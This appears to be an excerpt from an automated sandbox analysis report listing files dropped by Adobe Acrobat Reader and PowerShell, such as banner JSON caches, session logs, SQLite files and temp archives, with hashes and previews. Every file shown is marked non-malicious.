Preview:	{"analyticsData":{"responseGUID":"30b13548-b086-4c46-91ab-5a13b97ea9bb","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736749514393,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.274432022762068
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaVWP8z14vB3/dVlPIHAR0YCqoAvJfbPtdPeUkwRe9:YvXKXavzKvR/ZwHAOZGDV8Ukee9
MD5:	90B04613C1289F81A4B21AF3EFCAD77E
SHA1:	F659447539C110766FD8912ED642CE24991199F3
SHA-256:	72F87014E9E80860E124212EE2AA288D94F2A936DCB1415212107C82274B747A
SHA-512:	7F9B5154EB74A04101405FC26A7573AD967B31FA1C5FDB54385C542005498A6055F1CFE11E96EEF49352135ADAB2E3A19B97DEF84A35DB4009C26616FA98666D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"30b13548-b086-4c46-91ab-5a13b97ea9bb","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736749514393,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.273643798218384
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaVWP8z14vB3/dVlPIHAR0YCqoAvJf21rPeUkwRe9:YvXKXavzKvR/ZwHAOZG+16Ukee9
MD5:	4DAEF1258251489421A1CA1FD80801F5
SHA1:	801D2494450DF96B92E5381BF8EFE02194C7A2DB
SHA-256:	E96DC8CB43AD108277FD361FBF5F44FABBC821255F3720A78FB1B05B055B0AA4
SHA-512:	49543088F3201E729A7175F23DBF3ACF8AB0E18989AFCE1F8269C146A5DDB40E121576A1453F37EE51624BFDB4050A2312AE26564760F3A9F14E23AA67E654B5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"30b13548-b086-4c46-91ab-5a13b97ea9bb","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736749514393,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6669617300510655
Encrypted:	false
SSDEEP:	24:Yv6XabKJhjamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS1:YvBKJhTBgkDMUJUAh8cvM1
MD5:	814769AA6691FD3E0C2C4E76A51BD546
SHA1:	C17E235DD62F8B14063E2D709A99C244CF40E04A
SHA-256:	993F0C2D988EBD0FE451BBA3C1B5F8E4D44E8901978F09F7AA28A979806AE4E3
SHA-512:	E8E251343B171EFB59DBFBE89705600E84B553B65EC0AF802FF6B62291013422D94E6FC64904E3B096E6A9628CB17BC4718174743DA8235357534028AE2A1D91
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"30b13548-b086-4c46-91ab-5a13b97ea9bb","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736749514393,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2499150266380985
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaVWP8z14vB3/dVlPIHAR0YCqoAvJfshHHrPeUkwRe9:YvXKXavzKvR/ZwHAOZGUUUkee9
MD5:	D78B9929BDF7E41A33FD39BE2BB3BAC3
SHA1:	66AC4A2726A07ACFF434660A17B03ABA7E627D04
SHA-256:	6F6F00B6960F07C18DC38110C7D90534926811730BCAFFE183EBC63CCA7DE68C
SHA-512:	096B4C69921CC01EDCC1FE395C2403F2B21DC63FC4DA5C823737F0A473AE794DFD93C4C20CA6C80EF4BAC9EF38D4B2A3756DA2011C1C99D46AB5C102F3359076
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"30b13548-b086-4c46-91ab-5a13b97ea9bb","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736749514393,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.27389748687245
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaVWP8z14vB3/dVlPIHAR0YCqoAvJTqgFCrPeUkwRe9:YvXKXavzKvR/ZwHAOZGTq16Ukee9
MD5:	63BAE848257A4B5E2CC69EF50166EA01
SHA1:	58A1707985EAAC238E7FF6674A89D1F398A0150D
SHA-256:	03DC70DE60B62EDAADE6240B01492C75D7253700895240665D423E4CBBA41CCE
SHA-512:	8950FA67999E7D6197AF76E7ED66ED084F798E97CA9161CF63762AB429468E3CE93D5C166BB3FEEC73D03871478A93DAA50E4857E2EE10F48F64FB2A424100AF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"30b13548-b086-4c46-91ab-5a13b97ea9bb","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736749514393,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.144514633571514
Encrypted:	false
SSDEEP:	24:YjE5lm/a4fBayen6K3/Jv1GymP/8+NjPjj0S/Agj2v2LSxCL7q8QPZ2xm85M699U:YKxnp/J0ymn8MPvseq7m7q8QPZ0+699U
MD5:	84A5A510351E19360B0707C8E8F7DD93
SHA1:	0797C9A304BB8BFA42C86D95E50EF3091523FCDF
SHA-256:	740C39835CF545300CA24B62C087453E35ABBC3C4ED71DBCE6CE06710E729666
SHA-512:	E65DACC4E6356D5228393A3DD3178A151C83D6696474D1867A98E824444430FFFC435D2A53C51E1CFC71EAF57F707CCDAC1DDCB8026986CAA0381BCF9B1EE92A
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"d9f84a50698b154c6874b56683609620","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736572814000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"0996cf231df1512d7e06faac6b91a540","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736572814000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"f4eaee4d4080ea1660bbff1cd2a422e7","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736572814000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"89a9194e53de3fbc57457f91d3ff9050","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736572814000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"bcb3e41de06cddcb7045fa5e438586e4","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736572814000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"a98901dda5c49e53e72496cb9c7ac4b0","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3196258482785053
Encrypted:	false
SSDEEP:	48:TGufl2GL7ms9WR1CPmPbPahuCeypilIoC4:lNVms9WfMwbPahxe44
MD5:	49C82FF678DF0FC3EA4FB70DC998BDCF
SHA1:	9745C94FE91A5380BBAC8252BCC1CE12AEBE44B5
SHA-256:	B72A32962C4C7DD6E4B25F2AA22C1CA5AA51BCE229CFE3255CD697A59C52BE8A
SHA-512:	179561C6CE1F7001237CE12D8F1F107C55F59175400ADFCA241260EBC9F492311983C16FF0C65E23F7B764697DDE448A3122CD3FE3A8BF1B1E4339DAD0E04B23
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7792104846296901
Encrypted:	false
SSDEEP:	48:7MVWR1CPmPbPahuCHypilIgqFl2GL7mse:7MWfMwbPahxHJKVmse
MD5:	B7A586F7D70117A4ABB30E7E4214B75A
SHA1:	C144A665A7E92AC4C72706CAA50127E878E9DB87
SHA-256:	A9F31AE953445A435E04DBF753124B485FE339A5B27C70090CE0EF94CFABB218
SHA-512:	109CA7166DB44469277C2A352F0D0D76DDCF43F8AD5A346986D730D12D6A099128B828AA6D5A53E4C9F4C50BC40A26D1E24C37E35C9A6D883D0DD9742EB09524
Malicious:	false
Preview:	.... .c.....@.L0..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgnQnb3Q+b/1DeYjC+Qji1BKbac9Yyu:6a6TZ44ADEnQnb3JbdqaKb39K
MD5:	0482CCE86C43139822C88D183F856E8F
SHA1:	6C7E48E552E16B56775167935E69A5061ABC0A10
SHA-256:	212BB9310152DD581F3CF3F8630DD5BE75039E5F801E42DF0F8DE2AD761E6E27
SHA-512:	070FC0E27F77B950151D9E5429B1DB22CEED10C15F3E524C8131A1418ABA8467732C46E97D6D796D1A85D98F89C66F8B5D5A15427DD2A9C10CB305C24848DCDC
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulnmWllZ:NllUmWl
MD5:	3EBBEC2F920D055DAC842B4FF84448FA
SHA1:	52D2AD86C481FAED6187FC7E6655C5BD646CA663
SHA-256:	32441EEF46369E90F192889F3CC91721ECF615B0395CEC99996AB8CF06C59D09
SHA-512:	163F2BECB9695851B36E3F502FA812BFBF6B88E4DCEA330A03995282E2C848A7DE6B9FDBA740E3DF536AB65390FBE3CC5F41F91505603945C0C79676B48EE5C3
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI26d80.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.488809521505088
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl4:Qw946cPbiOxDlbYnuRKdl
MD5:	9C85CCEBF11783F92306FFFC009853BC
SHA1:	98CA7749CF888DB377E29941F0BF3631C463BB00
SHA-256:	77579A09B0F0850035DDAB15AB794967563DA66923B6045083AFA6AFE9881825
SHA-512:	2EAB535CAB9CBF8E9136E376FE61C8A29F8B36FEC2A939F70B3DD40939E2EB1DE01691D3D78E8E7BC6E390ACCAC5533F6343E89AC80EC024FACE0B2E8EF598E9
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.0.:.2.0.:.1.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bau2ic1w.lsv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kfvqxs35.ti4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 00-20-08-613.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3585016293895364
Encrypted:	false
SSDEEP:	384:aEuZG4HXEv+kdej8XcsByEDKWRQjf2KUQ7F5/jfNInHV/y74eDsku/ubqdLi67Dt:+3o
MD5:	FC063908B5E6139E4E84845073CF851B
SHA1:	EF4970AC91AEEA73A3EDB5BBBB2EF52F5A8BFFBB
SHA-256:	770A8ED2B728DA0D22E53CEB47D1888658551972E3C949ECF582FB2F7C2A0C2E
SHA-512:	195B762CA0533454C43E6BB230FF8A31F6B4A8269AC50165D961DFC362EAE2946A9873946BACCAB5CEDF69297961B74E11CB6942FDA284BA6407CE29A6C36714
Malicious:	false
Preview:	SessionID=c99e32fd-b038-41ad-9692-d82234b0fa12.1736572808634 Timestamp=2025-01-11T00:20:08:634-0500 ThreadID=7636 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=c99e32fd-b038-41ad-9692-d82234b0fa12.1736572808634 Timestamp=2025-01-11T00:20:08:642-0500 ThreadID=7636 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=c99e32fd-b038-41ad-9692-d82234b0fa12.1736572808634 Timestamp=2025-01-11T00:20:08:642-0500 ThreadID=7636 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=c99e32fd-b038-41ad-9692-d82234b0fa12.1736572808634 Timestamp=2025-01-11T00:20:08:642-0500 ThreadID=7636 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=c99e32fd-b038-41ad-9692-d82234b0fa12.1736572808634 Timestamp=2025-01-11T00:20:08:642-0500 ThreadID=7636 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.399126608706253
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbOcbcIy8cbx:ceo4+rsCDyD
MD5:	160A89E8D9C18871C5639F640DCFD9FF
SHA1:	D6314D4143FE8A349FCCF389450BFB6A91D8765C
SHA-256:	917E3E024894896F97D7BE16F1A812CDDDE625BC9C68AE2ED7F45EAB53DC61D8
SHA-512:	7734D44CEE4CABD7A153DE54667239E063741EAD5FB4B299F0050C6FD255447FEC76E0FCC957258EE052C1438A6DD1F2CDEB04D278F204CCC6B820166E2183A1
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\20ad2ce3-81ea-4adb-966e-e93fa25f5162.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLrGZkwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLrGZx
MD5:	0DEB641F638584E0D369B736918ADE0D
SHA1:	F28C3A8DF2F27ED0505D17C146DD4E3B3D02585F
SHA-256:	3FCEA64B11AADB53C8AF1073FEBAAEDB9CD9489CF209A4C091F7C16BD62302BE
SHA-512:	1E504F602EC378DE6A4B0A63B786B7FBA42FFB3FC05151EC01747AAFA234478943C0D38C1622DB985FBE82ADC5472CB7477344C9A7606AB4CE4F6F38C29A623F
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\343b5dac-c6fe-4369-bbfa-cea00177a89e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\3fdaeb30-1cdd-4a3f-be45-3fe9125f4733.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
